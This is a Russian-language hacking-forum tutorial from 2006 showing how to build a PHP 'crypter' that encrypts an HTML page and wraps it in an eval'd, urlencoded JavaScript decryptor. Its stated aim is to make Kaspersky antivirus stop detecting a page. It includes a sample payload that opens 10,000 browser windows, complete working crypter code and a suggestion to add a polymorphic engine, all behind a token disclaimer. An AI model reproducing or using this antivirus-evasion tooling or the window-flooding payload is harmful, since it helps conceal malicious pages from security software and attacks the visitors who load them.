Внимание:
Статья предназначена только для ознакомления, автор не несет ответственность за использование и распространение
скриптов из этой статьи.
Сегодня мы напишем html-криптор на php.
Зачем это может пригодиться?
Это может пригодится, если нужно скрыть исходный код страницы,
или если антивирусу не нравится ваша страничка, а вы хотите чтобы он забыл о ней.
Например:
Код:
<script language = javascript>
function с(){
var i=1;
while (i < 10000){
window. open("about:blank");
i++;
}
}
c();
</script>
Сохраните это в файл 1.html и каспера сразу закричит, что это запускать нельзя.
Итак приступим:
Для начала нам нужно загрузить файл в переменную
Код:
$file=join('',file('in.html'));
Затем нам нужно записать содержимое файла в одну строчку
$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);
Теперь в переменной $file находится содержимое in.html
Затем его надо зашифровать, для этого создадим функцию шифрования:
Код:
function a($n)
{
$q='';
$e='';
$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
for($l=0;$l<strlen($n);$l++)
{
$o=$n[$l];
$m=strpos($p,$o);
if($m>-1)
{
$z=(($m+1)-1);
if($z==79)
{
$z =0;
}
$q .= $p[$z+1];
} else {
$q.=$o;
}
}
return $q;
}
Шифрование происходит следующим образом: каждый символ шифруемого кода ищется в ключе, и если находится то заменяется на следующий символ ключа.
Код:
$file=a($file);//эта строка вызывает функцию шифрования
Теперь нам нужен расшифровщик на javascript
Код:
function decrypt(n)
{
var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";
for(l=0;l<n.length;l++)
{
ch=n.charAt(l);
ind=key.indexOf(ch);
if(ind>-1)
{
if(ind==0)
{
ind =79
}
q+=key.charAt(ind-1)
} else {
q+=ch
}
};
document.write(q)
}
Принцип действия я думаю понятен.
Поместим расшифровщик в переменную $decrypt
Также для работы криптора нужен инициализатор:
Код:
function load(code,dfunc)
{
eval(dfunc);
decrypt(code);
}
Но похожий метод шифрования использовался в каком-то черве и каспера
громко ругается на этот кусок кода, поэтому добавим еще один параметр
инициализатору:
Код:
function load(code,dfunc,anticasp)
{
eval(dfunc);
decrypt(code);
}
Ему мы передадим в параметрах зашифрованый код и код расшифровщикаю
Для большей скрытности и усложнения анализа кода переведем исходник расшифровщика в шестнадцатиричный формат
функцией urlencode,после этого заменим знаки плюса на пробелы.
(это связано с тем, что urlencode выдает код, в котором вместо пробелов плюсы)
Код:
$decrypt=urlencode($decrypt);
$decrypt=str_replace('+',' ',$decrypt);
В данный момент в переменной $decrypt хранится расшифровщик, а в переменной $file зашифрованый файл, но в переменной $file
есть одинарные кавычки, а они не дадут работать инициализатору (параметры ему будут передаваться тоже в одинарных кавычках),
заменим их на \'
Код:
$file=str_replace("'","\'",$file);
Нам осталось лишь сформировать исходный код зашифрованой страницы:
Код:
$cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$code."',unescape('".$decrypt."'));</script>";
Исходный код станички сейчас находится в переменной $cont. В нем описывается функция инициализатора,
затем инициализатору передаются зашифрованая информация и код расшифровщика, который преобразуется в обычный текст,
расшифровщик eval'ится и запускается функция декодирования, находящаяся в нем, которая уже выводит расшифрованую информацию.
Последнее, что нам нужно сделать - записать в файл исходный код страницы:
Код:
$file=fopen('out.htm','w');
fputs($file,$cont);
fclose($file);
Вот полный код криптора:
Код:
<?
function a($n)
{
$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
$q='';
$e='';
for($l=0;$l<strlen($n);$l++)
{
$o=$n[$l];
$m=strpos($p,$o);
if($m>-1)
{
$z=(($m+1)-1);
if($z==79)
{
$z =0;
}
$q .= $p[$z+1];
} else {
$q.=$o;
}
}
return $q;
}
$file=join('',file('in.html'));
$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);
$file=a($file);
$decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}";
$decrypt=urlencode($decrypt);
$decrypt=str_replace('+',' ',$decrypt);
$file=str_replace("'","\'",$file);
$cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$file."',unescape('".$decrypt."'));</script>";
$file=fopen('out.htm','w');
fputs($file,$cont);
fclose($file);
?>
Напоследок зашифруем код из начала статьи и убедимся, что он работает, а каспера молчит.
В данном крипторе можно многое доработать, например сделать шифрование каждый раз разным ключом, добавить полиморфный движок,
но это я оставляю вам.
Криптор тестировался на ИЕ(Предупреждение) и Опере(Ok), Фаерфоксе(Ok).
При копировании статьи или ее частей ссылка на автора объязательна. Автором являюсь я(ntkiller)
Впервые опубликована на http://forum.pro-hack.ru/st2452.html Jun 9 2006
P.S:Все комментарии из шифруемого скрипта надо удалять - иначе не работает.
P.P.S:Повторяю, что статья предназначена только для ознакомления - не надо шифровать вредоносный код и впаривать
его другим людям.